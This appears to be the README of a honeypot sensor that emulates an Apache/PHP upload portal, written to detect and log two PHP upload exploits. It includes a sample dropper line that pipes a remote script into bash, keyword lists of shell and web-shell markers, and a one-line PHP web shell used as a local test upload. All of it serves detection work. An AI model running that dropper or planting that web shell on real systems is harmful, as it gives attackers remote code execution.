A safe, high-interaction HTTP sensor for the PHP2Shell exploitation family:
| CVE | Behaviour being detected |
|---|---|
CVE-2026-109618 |
Large / mangled multipart/form-data uploads crafted to push PHP into out-of-memory or parser-desynchronisation states |
CVE-2026-109619 |
PHP_SESSION_UPLOAD_PROGRESS session-file poisoning races and deliberately paused TCP upload streams |
The sensor is written in Python with FastAPI + Uvicorn (an asyncio HTTP server). It emulates an Apache 2.4.52 / PHP-FPM 8.1.2 file portal on the wire. It does not ship, spawn, proxy or connect to PHP, Apache, CGI, FPM or any other interpreter. No request byte is ever executed.
Deploy this only on an isolated, dedicated sensor network. It is an intelligence collection device, not a production web server. Apply the hardening notes at the end of this document.
- No PHP engine, no shell, no
eval/exec/subprocesson request data. Responses are static HTML/PHP-error templates rendered by Python. - Bounded streaming reads. Request bodies are consumed chunk-by-chunk into
a
SpooledTemporaryFilewith a hard cap (PHPTOPWN_MAX_BODY_BYTES, 32 MiB by default) and an analysis probe (PHPTOPWN_PROBE_BYTES, 2 MiB). Huge PHP2Shell uploads therefore consume fixed, small memory. - Read timeout. A client that announces a body and stalls is cut off after
PHPTOPWN_BODY_TIMEOUT_SECONDS(30 s) with408 Request Timeout. - Quarantine, not execution. Payloads are written as inert bytes to
captured_payloads/, named only by SHA-256. That directory is never routed or served and is deliberately excluded from the container image. - Contained runtime. The Docker image runs as an unprivileged user with all Linux capabilities dropped, a read-only root filesystem, a small tmpfs, memory and PID limits and no egress requirements.
- Catch-all
GET,HEAD,POST,PUT,PATCH,DELETE,OPTIONSandTRACEhandlers across every path, plus realistic decoy routes. - Apache/PHP fingerprints on every response:
Server: Apache/2.4.52 (Ubuntu),X-Powered-By: PHP/8.1.2,X-Request-Id. - Apache-style
404,405,408and PHP-style fatal-error pages. - Safe multipart parser (no
python-multipart, no PHP):- part count, per-part header sizes, folded headers
- nested / mismatched / missing boundaries, malformed framing
- duplicate, over-long and path-traversal filenames
- form fields, upload filenames, content types, part SHA-256 hashes
- TCP pacing telemetry: per-chunk inter-arrival gaps, body duration, first-byte delay, incomplete/disconnected bodies.
- Command-dropper extraction (
curl,wget,chmod +x,bash -c,nc,base64 -d, Python/Perl one-liners, PowerShell, reverse shells, PHP execution primitives). - Web-shell marker detection (
<?php,eval(,system(,shell_exec,base64_decode,gzinflate, ...). - IOC harvesting: attacker IP, IPv4 addresses embedded in payloads, URLs, domains, upload filenames, body and part SHA-256 hashes.
- Optional TLS listener on
8443with a self-signed certificate.
.
├── phptopwn/ # sensor package (config, parsing, detection, ...)
├── phptopwn.toml # documented default configuration
├── pyproject.toml # packaging (PEP 621), pinned dependencies
├── Dockerfile
├── docker-compose.yml
├── docker/
│ └── entrypoint.sh # optional self-signed TLS certificate bootstrap
├── deploy/
│ ├── phptopwn.service # hardened systemd unit
│ └── phptopwn.env # systemd environment example
├── tests/
│ ├── smoke_test.py # stdlib-only end-to-end verification
│ ├── conftest.py # shared config/capture builders
│ └── test_*.py # unit suite: parsing, detection, storage, webhooks, metrics, ...
├── docs/
│ └── CONFIG.md # full configuration reference
├── logs/ # created at runtime (exploits.json, iocs.txt)
└── captured_payloads/ # created at runtime (quarantined bytes)
python3 -m venv .venv
. .venv/bin/activate
pip install .
phptopwn # or: phptopwn --config path/to/phptopwn.tomlVerify:
curl -i http://127.0.0.1:8080/
curl -i http://127.0.0.1:8080/phpinfo.php
phptopwn --dry-run # print the resolved configuration and exitmkdir -p logs captured_payloads certs
docker compose up --build -dCompose maps host 80 -> 8080 and 443 -> 8443, enables TLS, and generates a
throw-away self-signed certificate into ./certs/ on first start if one is not
present. Collected telemetry is bind-mounted back to ./logs/ and
./captured_payloads/.
The container runs as UID/GID 1000. If your host user is not UID 1000, give
the bind-mounted directories to that UID before starting:
sudo chown -R 1000:1000 logs captured_payloads certsChange the port mapping if 80/443 are already in use:
ports:
- "8080:8080"
- "8443:8443"Generate a certificate and point the sensor at it:
mkdir -p certs
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
-keyout certs/honeypot.key -out certs/honeypot.crt \
-subj "/CN=intranet.acme.local"
PHPTOPWN_TLS=true \
PHPTOPWN_CERT_FILE=./certs/honeypot.crt \
PHPTOPWN_KEY_FILE=./certs/honeypot.key \
phptopwnThe plain HTTP listener stays available on 8080; the TLS listener runs in the same process on 8443. Both serve the same app and write to the same telemetry store.
phptopwn is preferred because it starts the TLS listener too. If you use
Uvicorn directly, disable its own server header so the Apache fingerprint is
not duplicated:
uvicorn phptopwn.decoy:create_app --factory --host 0.0.0.0 --port 8080 --no-server-headerNote that running Uvicorn by hand skips the internal metrics listener.
deploy/phptopwn.service runs the sensor as a dedicated phptopwn user with
a strict sandbox (ProtectSystem=strict + ReadWritePaths limited to the log
and capture directories, NoNewPrivileges, PrivateDevices, empty
CapabilityBoundingSet, RestrictAddressFamilies to IP/Unix, syscall
filtering, MemoryDenyWriteExecute):
sudo useradd --system --home /var/lib/phptopwn --shell /usr/sbin/nologin phptopwn
sudo mkdir -p /etc/phptopwn /var/lib/phptopwn/{logs,payloads}
sudo chown -R phptopwn:phptopwn /var/lib/phptopwn
sudo pip install --no-deps /path/to/phptopwn-1.0.0-py3-none-any.whl
sudo cp deploy/phptopwn.service /etc/systemd/system/
sudo cp deploy/phptopwn.env /etc/phptopwn/phptopwn.env # then edit
sudo systemctl daemon-reload
sudo systemctl enable --now phptopwn
journalctl -u phptopwn -fKeep PHPTOPWN_TLS=false on systemd deployments unless you provision the
certificate yourself — the unit deliberately does not generate keys (the
Docker entrypoint does, for throw-away decoy certs only).
Configuration lives in phptopwn.toml (documented inline, kept at the repo
root and shipped with the package). Every value can be overridden with an
environment variable named PHPTOPWN_<FIELD> — e.g. http_port becomes
PHPTOPWN_HTTP_PORT, with a handful of aliases (tls_enabled →
PHPTOPWN_TLS, log_all_requests → PHPTOPWN_LOG_ALL, logging.level →
PHPTOPWN_LOG_LEVEL, logging.json → PHPTOPWN_LOG_JSON). Precedence:
built-in defaults < TOML file < environment < CLI flags (--host, --port).
Select a different file with --config or PHPTOPWN_CONFIG.
docs/CONFIG.md is the complete reference — every field, default,
validation bound and the alert webhook payload. Unknown TOML sections, unknown
fields and out-of-range values abort startup instead of being guessed around.
Frequently adjusted at deployment:
| Variable | Default | Effect |
|---|---|---|
PHPTOPWN_LOG_ALL |
true |
Log benign requests too (false keeps only exploits) |
PHPTOPWN_WEBHOOK_URL |
(empty) | Enable Post-JSON exploit alerting |
PHPTOPWN_MIN_SEVERITY |
high |
Lowest severity that raises an alert |
PHPTOPWN_RATE_LIMIT_PER_MINUTE |
600 |
Source guard, requests/minute/IP (0 disables) |
PHPTOPWN_MAX_CONCURRENT_PER_IP |
32 |
Source guard, concurrent requests/IP (0 disables) |
PHPTOPWN_MAX_BODY_BYTES |
33554432 |
Hard body capture cap |
PHPTOPWN_BODY_TIMEOUT_SECONDS |
30.0 |
Body-stall read timeout → 408 |
PHPTOPWN_LOG_DIR / PHPTOPWN_CAPTURE_DIR |
logs / captured_payloads |
Telemetry + quarantine locations |
PHPTOPWN_METRICS_HOST |
127.0.0.1 |
Set 0.0.0.0 in container deployments |
PHPTOPWN_TRUST_PROXY_HEADERS |
false |
Trust X-Forwarded-For (proxy only!) |
Do not enable PHPTOPWN_TRUST_PROXY_HEADERS unless the sensor is behind a
trusted reverse proxy; otherwise attackers can spoof their source IP in logs and
the IOC blocklist.
A sensor can forward every phptopwn.event/1.0 record to one regional
collector. Enable [fleet] in the sensor config (disabled by default):
[fleet]
enabled = true
node_id = "eu-lab-1" # must be listed in the collector's [nodes] table
region = "eu-west"
collector_url = "https://collector-eu.example.net:9443"
collector_token = "<same token as that collector>"How it behaves under failure:
- Events are appended to
fleet/outbox.jsonland shipped as NDJSON batches toPOST {collector_url}/v1/events. Progress is a byte offset infleet/forwarder_state.json, so an outage resumes oldest-first after the collector returns. - If the collector stays down past
max_buffer_bytes, the oldest backlog is skipped (never re-shipped); the skip is counted in metrics (fleet_event_skips) and logged. Sensor-side disk usage stays bounded. - The collector dedupes per
request_idoverdedupe_days, so a crash between "shipped" and "offset advanced" is harmless. - The sensor's only outbound connection is
collector_url. Firewall the host accordingly (docs/FLEET.mdhas the lockdown recipe).
The collector side is a separate process and package script:
phptopwn-collect serve --config collect.toml # ingest + loopback dashboard
phptopwn-collect ioc --day 20261106 --out exports/ # per-IP + payload-hash exportdocs/SCHEMA.md documents the wire contract (validation, partial-accept
report, dedupe); docs/FLEET.md is the deployment runbook with preflight
gates and research-governance rules (freeze on code changes during a
collection window, threshold-tuning log, no third-party egress from sensors).
For the all-in-one laptop deployment (sensor + collector + Cloudflare
tunnel, no published ports, egress-free internal network), follow
docs/DEPLOY-LAPTOP.md — docker-compose.yml, .env.example and
scripts/e2e_laptop.py belong to that path.
Signals emitted with "cve": "CVE-2026-109618":
| Signal id | Severity | Trigger |
|---|---|---|
large_multipart_upload |
high | Multipart POST/PUT >= PHPTOPWN_LARGE_MULTIPART_BYTES |
excessive_multipart_parts |
high | >= PHPTOPWN_MANY_PARTS parts |
oversized_part_headers |
high | A part header block >= PHPTOPWN_PART_HEADER_BYTES |
mass_file_upload_fields |
high | >= 8 file fields in one request |
content_length_overflow |
high | Declared Content-Length > capture cap |
truncated_request_body |
high | Delivered bytes < declared Content-Length |
mangled_multipart_boundary |
high | Declared boundary absent from the body |
multipart_missing_boundary |
high | multipart/form-data without a boundary |
nested_multipart_boundary |
high | Part contains its own multipart body |
mangled_multipart_body |
high | Missing CRLF / part separators |
conflicting_length_headers |
high | Both Transfer-Encoding and Content-Length |
folded_multipart_headers |
medium | Folded/invalid part headers |
duplicate_upload_filenames |
medium | Repeated filename= values |
oversized_upload_filename |
medium | Filename > 255 characters |
filename_path_traversal |
medium | ../, absolute path or NUL in filename |
header_flooding |
medium | Oversized request header block |
When such a request reaches /upload.php (or any *.php path), the sensor
answers like a PHP worker that just exhausted memory_limit:
HTTP/1.1 500 Internal Server Error
...
Fatal error: Allowed memory size of 134217728 bytes exhausted ...
That keeps the attacker engaged and produces a clean CVE-labelled telemetry record without ever allocating the requested memory.
Signals emitted with "cve": "CVE-2026-109619":
| Signal id | Severity | Trigger |
|---|---|---|
php_session_upload_progress |
high | PHP_SESSION_UPLOAD_PROGRESS or session.upload_progress.* in the body |
php_ini_override_header |
high | PHP_VALUE, PHP_ADMIN_VALUE, PHP_SESSION_UPLOAD_PROGRESS, PHP_INI headers |
php_ini_override_payload |
high | allow_url_include, auto_prepend_file, auto_append_file, disable_functions in the body |
session_progress_webshell_race |
high | Session-progress markers and PHP code in one request |
tcp_stream_pause |
high | Inter-chunk gap >= PHPTOPWN_SLOW_GAP_SECONDS |
slow_body_delivery |
high | Body takes >= PHPTOPWN_SLOW_TOTAL_SECONDS |
incomplete_upload_stream |
high | Stream ends before the declared body |
body_read_timeout |
high | Client stalls past PHPTOPWN_BODY_TIMEOUT_SECONDS |
body_exceeds_capture_cap |
medium | Body larger than the capture cap |
Timing is measured inside the ASGI receive() loop, so pauses are visible even
though the HTTP server terminates TLS. body.chunk_gaps_seconds and
body.max_chunk_gap_seconds are written to the log as evidence.
webshell_upload, php_code_in_request, command_dropper,
command_parameter, sensitive_path_probe and scanner_user_agent capture
adjacent activity (web-shell uploads, ?cmd= probes, downloader one-liners,
known scanners). A request is marked is_exploit: true when any signal is
medium or higher; low signals are retained for context.
JSON Lines: one complete JSON object per line, append-only. The .json
name is intentional for tooling compatibility; use jq or a streaming reader
rather than loading it as a JSON array. A record is written for every exploit
request and, when PHPTOPWN_LOG_ALL=true, for benign requests as well.
Abridged example:
{
"schema": "phptopwn.event/1.0",
"event": "http_request",
"request_id": "f2f3de9e630e4562b156f9ea56b86dec",
"timestamp": "2026-10-23T15:56:47.596Z",
"tls": false,
"client": {"ip": "127.0.0.1", "port": 49634},
"request": {
"method": "POST",
"path": "/upload.php",
"query": "",
"http_version": "1.1",
"headers": [["host", "127.0.0.1:8080"], ["user-agent", "curl/8.5.0"]],
"content_type": "multipart/form-data; boundary=----php2shell...",
"declared_content_length": 1229090
},
"body": {
"bytes": 1229090,
"stored_bytes": 1229090,
"sha256": "9e9280f9e630fc88c2b1e28067e8e8d82a0ad6ef3e203a77e921ccc470ab720b",
"truncated": false,
"incomplete": false,
"chunk_count": 7,
"chunk_gaps_seconds": [0.0002, 0.0005, 0.0006],
"max_chunk_gap_seconds": 0.0012,
"preview": "------php2shell...",
"saved_as": "9e9280f9e630fc88c2b1e28067e8e8d82a0ad6ef3e203a77e921ccc470ab720b.multipart"
},
"multipart": {
"boundary": "----php2shell...",
"boundary_found": true,
"part_count": 2,
"file_part_count": 1,
"parts": [
{"index": 0, "name": "PHP_SESSION_UPLOAD_PROGRESS", "filename": null, "size": 10, "sha256": "..."},
{"index": 1, "name": "file", "filename": "shell.php", "content_type": "application/x-php", "size": 68, "sha256": "de631871..."}
]
},
"form": {"PHP_SESSION_UPLOAD_PROGRESS": "racewindow"},
"analysis": {
"is_exploit": true,
"severity": "high",
"cves": ["CVE-2026-109619"],
"signals": [{"id": "php_session_upload_progress", "severity": "high", "cve": "CVE-2026-109619", "description": "..."}],
"command_droppers": [{"tool": "curl", "command": "curl -s http://203.0.113.9/x.sh | bash"}],
"webshell_markers": ["<?php", "system("],
"iocs": {"ip": ["127.0.0.1", "203.0.113.9"], "url": ["http://203.0.113.9/x.sh"], "filename": ["shell.php"], "sha256": ["de631871..."]}
},
"artifacts": [{"file": "de631871....bin", "kind": "uploaded_file", "sha256": "de631871....", "bytes": 68, "original_filename": "shell.php"}],
"response": {"status": 200, "headers": {"server": "Apache/2.4.52 (Ubuntu)", "x-powered-by": "PHP/8.1.2"}},
"error": null
}Every record contains the raw request headers (in arrival order), the attacker IP/port, a body preview, the body SHA-256, multipart structure, extracted form fields, signal evidence, command strings, IOCs, response status and artifacts.
<sha256>.<ext>- raw request bodies (*.multipart,*.form,*.body) and uploaded files/fragments. Executable-looking uploads are quarantined with a neutralized.binextension (PHPTOPWN_NEUTRALIZE_CAPTURE_NAMES=true, the default) so nothing in the directory can ever be routed to a script interpreter; the original filename is preserved in the record and the manifest. Setting itfalserestores.<orig-ext>names — do this only for a downstream tool that needs them, and make sure the directory is opaque to any interpreter.manifest.jsonl- one JSON object per artifact:sha256,file,kind,size,original_filename,content_type,truncated,first_seen,request_id,source_ip.- Deduplication is by SHA-256: repeated payloads are not written again.
- Large artifacts are capped (
PHPTOPWN_MAX_ARTIFACT_BYTES) and markedtruncated: true; partial uploads are marked in the same way.
Tab-separated IOC feed, append-only and deduplicated by (type, value):
# PHP2Shell honeypot IOC feed (tab separated)
# type value first_seen last_seen context
ip 198.51.100.23 2026-10-23T15:56:42.085Z 2026-10-23T15:56:42.085Z high:CVE-2026-109618,CVE-2026-109619:f372f3f8...
sha256 9e9280f9... 2026-10-23T15:56:42.085Z 2026-10-23T15:56:42.085Z high:CVE-2026-109618:f372f3f8...
filename shell.php 2026-10-23T15:56:47.596Z 2026-10-23T15:56:47.596Z high:CVE-2026-109619:f2f3de9e...
url http://203.0.113.9/x.sh ... ... high:CVE-2026-109619:...
domain 203.0.113.9 ... ... high:CVE-2026-109619:...
Extract the plain IP blocklist for a firewall / fail2ban / DNS sinkhole:
awk -F'\t' '!/^#/ && $1=="ip" {print $2}' logs/iocs.txt \
| sort -u > logs/blocklist.txtUseful queries:
# Exploit verdicts
jq -c 'select(.analysis.is_exploit) | {ts:.timestamp, ip:.client.ip, cves:.analysis.cves, path:.request.path}' \
logs/exploits.json | tail -50
# All captured dropper commands
jq -r '.analysis.command_droppers[]?.command' logs/exploits.json | sort -u
# Requests with TCP pauses
jq -c 'select(.body.max_chunk_gap_seconds >= 2) | {ip:.client.ip, gap:.body.max_chunk_gap_seconds, path:.request.path}' \
logs/exploits.json
# Top source IPs
jq -r '.client.ip' logs/exploits.json | sort | uniq -c | sort -nr | head| Route | Methods | Response |
|---|---|---|
/, /index.php, /index.html |
GET, HEAD | Acme Intranet file-portal landing page with upload form |
/upload.php |
POST, PUT, PATCH | Realistic upload result; 500 PHP OOM page for CVE-2026-109618; session page for CVE-2026-109619 |
/uploads/ |
GET | Apache directory listing |
/phpinfo.php |
GET | phpinfo decoy including session.upload_progress.* and memory_limit |
/server-status |
GET | Apache mod_status decoy |
/wp-login.php |
GET, POST | WordPress login decoy / invalid-credentials page |
/robots.txt |
GET | Discourages /uploads/ and /admin/ |
| any other path | any method | Apache-style 404; OPTIONS returns an Allow header |
/healthzon the decoy surface is deliberately404— an Apache server would not expose an ops route. The real health endpoint lives on the internal listener (see below); Docker's healthcheck uses it.
A second uvicorn app listens on metrics_host:metrics_port (default
127.0.0.1:9091) and serves:
GET /healthz→{"status": "ok", "version": ..., "counters": {...}, "uptime_seconds": ...}(used by the container healthcheck)GET /metrics→ Prometheus text exposition (text/plain; version=1.0.0)
Metric families:
| Family | Meaning |
|---|---|
phptopwn_uptime_seconds |
Process uptime |
phptopwn_requests{kind} |
benign / exploit request counts |
phptopwn_guard_rejections{reason} |
rate_limited, concurrent_limit, header_flood |
phptopwn_signature_hits{signature} |
Most frequent detection signals (capped top set) |
phptopwn_alerts{outcome} |
sent, failed, metered, overflow |
phptopwn_body_bytes |
Bytes observed by the bounded reader |
phptopwn_request_rate_per_minute |
Recent observed request rate |
phptopwn_top_client{ip} |
Top-10 talkers |
phptopwn_last_exploit_at_seconds |
Unix time of the last exploit verdict |
Scrape it from localhost, over the Docker network, or publish
127.0.0.1:9091:9091 as compose does by default.
Set PHPTOPWN_WEBHOOK_URL and every exploit at or above
PHPTOPWN_MIN_SEVERITY POSTs one JSON object to it (sensor, request id,
client IP, severity, CVEs, signal ids and IOC summary). Deliveries run as
tracked background tasks — a dead webhook never slows or stalls request
processing. Accounting lands in phptopwn_alerts{outcome}:
sent— webhook answered 2xxfailed— non-2xx or transport error (logged at WARNING with request id)metered— suppressed inside the per-IP cooldown window; the window opens only when an alert actually dispatches, so an ongoing attack alerts once per cooldown period instead of refreshing it foreveroverflow— dropped becausePHPTOPWN_MAX_INFLIGHTdeliveries were already running
Payload shape and per-field semantics: docs/CONFIG.md.
Run the end-to-end test (stdlib only; starts real servers on loopback):
python3 tests/smoke_test.pyExpected output:
PASS: decoy routes, Apache/PHP headers, CVE-2026-109618, CVE-2026-109619,
paused TCP stream detection, stalled-upload timeout, payload quarantine,
SHA-256 manifest, IOC blocklist, JSON logs, Prometheus metrics,
webhook alerting and TLS listener all verified.
124 unit tests cover parsing, detection thresholds, storage/quarantine, guards, metrics, webhook metering, config validation, logging and the CLI:
pip install ".[dev]"
python -m coverage run --branch --source=phptopwn -m pytest # 124 tests
python -m coverage report --fail-under=85 -m # gate
ruff check phptopwn tests # lint
mypy phptopwn # types.github/workflows/ci.yml runs exactly these gates (ruff, mypy,
coverage report --fail-under=85) with Python 3.12 on every push and
pull request.
The test asserts:
- Decoy routes return Apache/PHP headers and realistic bodies.
- A large multipart request returns the PHP OOM
500page and logsCVE-2026-109618with all expected structural signals. - A
PHP_SESSION_UPLOAD_PROGRESSupload plus curl dropper returns200, logsCVE-2026-109619, extracts the dropper and quarantines the web shell. - A raw socket that sends its body in 250 ms steps logs
tcp_stream_pausewith a measured gap. - A client that announces a body and stalls receives
408and logsbody_read_timeout. - Quarantined files are named by SHA-256 and match the original bytes; the manifest and IOC feed contain the hashes and attacker IP.
- The TLS listener serves the same Apache-fingerprinted decoy over HTTPS.
- Operational logs are single-line JSON objects with GMT
Zstamps. /metricsexposes all documentedphptopwn_*families and/healthzanswers{"status":"ok"}on the internal port.- A local webhook sink receives a CVE-labelled JSON alert, and a second hit inside the cooldown window is metered, not re-sent.
Manual exploit simulation (safe - the payload is only stored and scored):
printf '<?php system($_GET["c"]); ?>\n' > /tmp/shell.php
curl -i -F 'PHP_SESSION_UPLOAD_PROGRESS=race' \
-F 'file=@/tmp/shell.php;filename=shell.php;type=application/x-php' \
http://127.0.0.1:8080/upload.php
python3 - <<'PY'
data = b"A" * (2 * 1024 * 1024)
open("/tmp/large.bin", "wb").write(data)
PY
curl -i -F 'file=@/tmp/large.bin;filename=big.php' \
http://127.0.0.1:8080/upload.php- Run the sensor on a dedicated VLAN / cloud instance with no egress and no route to production networks. The honeypot does not need outbound access.
- Keep
captured_payloads/off any web root, share or backup that auto-executes files. Treat every artifact as live malware: analyse only in a sandbox. - Retain
logs/on a central collector. For long-running sensors, rotateexploits.json(e.g.logrotatewithcopytruncate) or ship JSONL to your SIEM and truncate. - Monitor disk usage: the body cap limits each request, but volumetric scanning
still produces many records. Set
PHPTOPWN_LOG_ALL=falseif you only want exploit records. - Tune
PHPTOPWN_LARGE_MULTIPART_BYTES/PHPTOPWN_SLOW_GAP_SECONDSto your traffic baseline. Lower thresholds increase sensitivity and false positives. - The TLS certificate generated by
docker/entrypoint.shis self-signed and for deception only; do not reuse it anywhere else. PHPTOPWN_TRUST_PROXY_HEADERSmust stayfalseunless the sensor is behind a trusted proxy that overwritesX-Forwarded-For.- Never enable PHP, Apache modules, CGI or FPM on the same host to "make the decoy more realistic". The Python emulation is the safety boundary.
- CVE-2026-109618 / CVE-2026-109619 are modelled as described in the task: the detector scores multipart memory-exhaustion shapes and session-progress/TCP-pause behaviour; it is heuristic, not a byte-exact replica of any specific public PoC.
- TCP pacing is observed at the ASGI
receive()boundary. Kernel-level coalescing can merge very small writes; gaps larger than the configured threshold remain reliable. - The decoy is intentionally small. It does not emulate a complete PHP application, database or authentication flow.
- If the capture cap is reached, the remaining request body is not drained; the
server responds with
Connection: close. This is a deliberate anti-DoS trade-off. exploits.jsonis JSON Lines, not a JSON array, to allow concurrent-safe append-only writes.